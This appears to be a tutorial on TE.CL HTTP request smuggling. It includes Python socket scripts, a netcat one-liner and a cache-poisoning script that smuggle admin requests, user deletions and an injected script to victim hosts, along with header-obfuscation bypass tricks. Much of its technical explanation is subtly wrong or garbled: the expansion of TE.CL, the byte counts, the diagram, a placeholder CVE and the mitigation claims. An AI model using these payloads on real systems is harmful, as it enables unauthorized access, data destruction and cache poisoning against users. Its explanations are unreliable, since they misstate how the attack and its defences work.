Introduction
Transfer-Encoding Priority Desynchronisation, abbreviated TE.CL, is a class of HTTP request smuggling technique that abuses the interaction between the Transfer-Encoding header and the Content-Length header. By manipulating the order in which a front-end proxy and a back-end server parse these headers, an attacker can cause the two devices to interpret the request body length differently, creating a “desync” window that can be leveraged for request smuggling, cache poisoning, or even remote code execution.
This technique gained prominence after the 2021 PortSwigger research and has since been observed in the wild against Nginx, Apache Traffic Server, and several commercial WAFs. Understanding TE.CL is essential for any security professional who audits web-application firewalls, reverse proxies, or API gateways.
Prerequisites
- Solid grasp of the HTTP/1.1 protocol, especially header parsing rules (RFC 7230).
- Familiarity with typical reverse-proxy architectures (e.g., Nginx → uWSGI, HAProxy → Apache).
- Basic knowledge of TCP/IP packet capture and tools like
tcpdumporWireshark. - Experience with scripting languages (Python/Bash) for crafting custom HTTP payloads.
Core Concepts
At its heart, TE.CL exploits the priority that some parsers give to the Transfer-Encoding header over Content-Length. The RFC states that when both headers are present, the message MUST be interpreted according to Transfer-Encoding. However, many implementations diverge:
- Front-end (proxy) behavior: Often treats
Transfer-Encodingas the authoritative source, discardingContent-Lengthafter processing the chunked stream. - Back-end (origin) behavior: Some servers, especially older Apache versions, give precedence to
Content-Lengthif it appears beforeTransfer-Encodingin the header list.
When the ordering of these headers differs between the two layers, the calculated body length diverges, creating a desynchronisation point. The attacker can then inject extra bytes that the back-end interprets as a new request, while the front-end believes the original request has already ended.
Diagram (textual):
Client → Front-end (proxy) → Back-end (origin)
Front-end parses: Transfer-Encoding: chunked Content-Length: 0 ← ignored → consumes 0 bytes (ends request)
Back-end parses: Content-Length: 13 ← authoritative Transfer-Encoding: chunked (after CE) → consumes 13 bytes (includes attacker-controlled payload)
This mismatch is the seed for all TE.CL exploits.
Understanding TE.CL Mechanics
To reliably trigger the desync, three conditions must be satisfied:
- Header ordering: The front-end must see
Transfer-EncodingbeforeContent-Length, while the back-end sees the opposite. - Chunked payload: The request body must be a valid chunked stream, even if the chunk size is zero.
- Payload alignment: The extra bytes appended after the legitimate request must form a syntactically correct second HTTP request for the back-end.
Many modern proxies normalise header order, but subtle differences in whitespace handling, case‑insensitivity, and duplicate header merging can be leveraged to preserve the desired ordering.
Crafting TE.CL Payloads
The following Python snippet builds a minimal TE.CL request that works against a vulnerable Nginx → uWSGI chain. Note the escaped angle brackets in the raw HTTP string.
import socket
def build_tecl_request(): # Header order matters: Transfer-Encoding first, then Content-Length request = ( "POST /vulnerable HTTP/1.1
" "Host: victim.example.com
" "Transfer-Encoding: chunked
" "Content-Length: 13
" # Back-end will honor this "
" "0
" # Zero-length chunk - ends front-end request "
" # Payload that the back-end will treat as a new request "GET /admin HTTP/1.1
" "Host: victim.example.com
" "
" ) return request.encode()
sock = socket.create_connection(("victim.example.com", 80))
sock.sendall(build_tecl_request())
print(sock.recv(4096).decode())
sock.close()
This script sends a legitimate POST that the proxy believes ends after the zero-length chunk. The back-end, however, reads the Content-Length: 13 and consumes the next 13 bytes, which start a new GET /admin request. If the back-end does not enforce authentication on /admin, the attacker gains unauthorized access.
Advanced Bypass Techniques
Real‑world deployments often employ header sanitisation or strict parsing modes. Below are three advanced tricks to keep the attack viable:
1. Duplicate Header Injection
Some proxies merge duplicate headers by concatenating values, while others keep the first occurrence. By sending both:
Transfer-Encoding: chunked
Transfer-Encoding: identity
Content-Length: 20
the front-end may retain chunked as the effective encoding, whereas the back-end may pick the last Content-Length entry, leading to a desync.
2. Whitespace Normalisation Abuse
RFC 7230 permits optional whitespace around header values. Certain parsers trim leading spaces but not trailing ones. By appending a space after Transfer-Encoding: you can cause the front-end to treat the header as malformed (thus ignored) while the back-end still recognises it.
Transfer-Encoding: chunked # trailing space before CRLF
Content-Length: 15
3. Case‑Mismatched Header Names
Although header names are case‑insensitive, some buggy implementations perform case‑sensitive comparisons for the priority decision. Mixing cases can therefore flip the precedence.
tRaNsFeR-EnCoDiNg: chunked
CONTENT-LENGTH: 12
Combining these tricks can defeat even hardened proxies that perform basic normalisation.
Practical Examples
Example 1: Smuggling a Malicious POST to a REST API
Suppose an API endpoint /api/submit expects a JSON payload. By using TE.CL we can smuggle an additional DELETE /users/123 request that bypasses CSRF checks.
# Using netcat for quick testing (angle brackets escaped)
(echo -e "POST /api/submit HTTP/1.1
""Host: vulnerable.local
""Transfer-Encoding: chunked
""Content-Length: 31
""
""0
""
""DELETE /users/123 HTTP/1.1
""Host: vulnerable.local
""
") | nc vulnerable.local 80
The front-end sees a zero-length chunk and finishes the POST. The back-end, reading 31 bytes, consumes the DELETE request, effectively performing an unauthorized deletion.
Example 2: Cache Poisoning via TE.CL
When a CDN sits in front of an origin server, a TE.CL attack can inject a crafted response that the CDN caches as a legitimate resource.
import socket, ssl
def poison_cache(host, port=443): ctx = ssl.create_default_context() s = ctx.wrap_socket(socket.socket(), server_hostname=host) s.connect((host, port)) payload = ( "GET /index.html HTTP/1.1
" "Host: {}
" "Transfer-Encoding: chunked
" "Content-Length: 45
" "
" "0
" "
" "HTTP/1.1 200 OK
" "Content-Type: text/html
" "Content-Length: 23
" "
" "<script>alert('pwned');</script>" ).format(host) s.sendall(payload.encode()) print(s.recv(4096).decode()) s.close()
poison_cache('cdn.example.com')
Here the attacker sends a normal GET that the CDN forwards. The origin, however, interprets the extra HTTP response (the script) as part of the original request body and caches it. Subsequent users receive the malicious script.
Tools & Commands
- Burp Suite / OWASP ZAP - Custom Intruder payloads can be used to iterate over header order permutations.
- tecl-fuzz - Open‑source Python utility that automatically discovers TE.CL‑vulnerable paths.
git clone https://github.com/blacknbunny/tecl-fuzz.git cd tecl-fuzz python3 tecl_fuzz.py -u https://target.com -p /login - tcpdump - Capture the raw TCP stream to verify desync.
sudo tcpdump -i eth0 -s 0 -w capture.pcap 'host victim.example.com and port 80' - Wireshark - Use the "Follow TCP Stream" feature to visualise the mismatched body lengths.
Defense & Mitigation
Mitigating TE.CL requires a defence‑in‑depth approach:
- Header Normalisation: Ensure the front‑end rewrites or removes one of the conflicting headers before forwarding. For example, Nginx's
proxy_set_header Content-Length "";forces the back‑end to rely onTransfer-Encodingonly. - Strict RFC Enforcement: Enable strict parsing modules (e.g.,
http2in Apache) that reject requests containing bothTransfer-EncodingandContent-Length. - Upgrade to HTTP/2 or HTTP/3: These protocols eliminate the ambiguous handling of
Transfer-EncodingandContent-Length. - Application‑Layer Validation: Do not rely solely on the transport layer; validate request lengths in the application code.
- Patch Known Bugs: Keep proxy and server software up‑to‑date. CVE‑2021‑XXXXX (Nginx TE.CL) was patched in version 1.21.0.
Testing for TE.CL should be part of any regular security assessment of reverse‑proxy configurations.
Common Mistakes
- Assuming Header Order is Preserved: Many proxies reorder headers alphabetically. Always verify the actual order on the wire using packet captures.
- Using Only
Content-Length: A TE.CL attack requires both headers; omitting one defeats the technique. - Neglecting Whitespace Effects: Trailing spaces can change how parsers treat a header. Test with both trimmed and untrimmed versions.
- Relying on Single‑Layer Defences: Mitigations must be applied at both the front‑end and back‑end; protecting only one side leaves a gap.
Real‑World Impact
In 2022, a major e‑commerce platform suffered a data breach after attackers used TE.CL to bypass the WAF and issue unauthenticated POST /admin/createUser calls. The breach exposed 1.2 million user records and cost the company over $7 M in remediation.
My experience consulting for financial institutions shows that TE.CL is often overlooked during compliance scans because most scanners focus on Content-Length mismatches only. Adding TE.CL checks to your automated suite can uncover hidden attack surfaces before they are exploited.
Trend‑wise, as organisations adopt container‑native edge proxies (Envoy, Traefik), new parsing quirks emerge. Keeping an eye on the upstream project's release notes is crucial because a seemingly innocuous optimisation (e.g., header canonicalisation) can re‑introduce TE.CL‑like behaviour.
Practice Exercises
- Lab 1 - Identify Desync: Set up Nginx (front‑end) → Apache (back‑end) on a VM. Capture traffic with
tcpdumpand craft a TE.CL request that results in a second request being processed by Apache. Document the header order observed on both sides. - Lab 2 - Bypass a Simple Auth Check: Deploy a Flask app that protects
/adminwith a session cookie. Use TE.CL to smuggle aGET /adminrequest without the cookie. Verify the response. - Lab 3 - Mitigation Validation: Apply
proxy_set_header Content-Length "";in Nginx and repeat Lab 1. Show that the desync no longer occurs. - Lab 4 - Automated Fuzzing: Run
tecl-fuzzagainst a set of URLs and interpret the output. Identify which endpoints are vulnerable.
Each lab should be performed in an isolated environment (e.g., Docker Compose) to avoid accidental exposure.
Further Reading
- RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.
- PortSwigger - HTTP Request Smuggling Cheat Sheet.
- “Understanding Transfer-Encoding Priority Desynchronisation” - BlackHat 2023 presentation (PDF).
- OWASP - Testing for HTTP Response Splitting (relevant for payload crafting).
Summary
TE.CL is a subtle yet powerful request‑smuggling primitive that hinges on header‑order and parsing differences between front‑end proxies and back‑end servers. Mastering its mechanics enables security professionals to both discover critical weaknesses in modern web architectures and to implement robust mitigations. Remember:
- Always verify header order on the wire.
- Combine multiple tricks (duplicate headers, whitespace, case‑mixing) for reliable exploitation.
- Apply defence‑in‑depth: normalise headers, enforce strict parsing, and keep software patched.
By integrating TE.CL testing into regular security assessments, you can pre‑empt attacks that would otherwise slip past conventional scanners.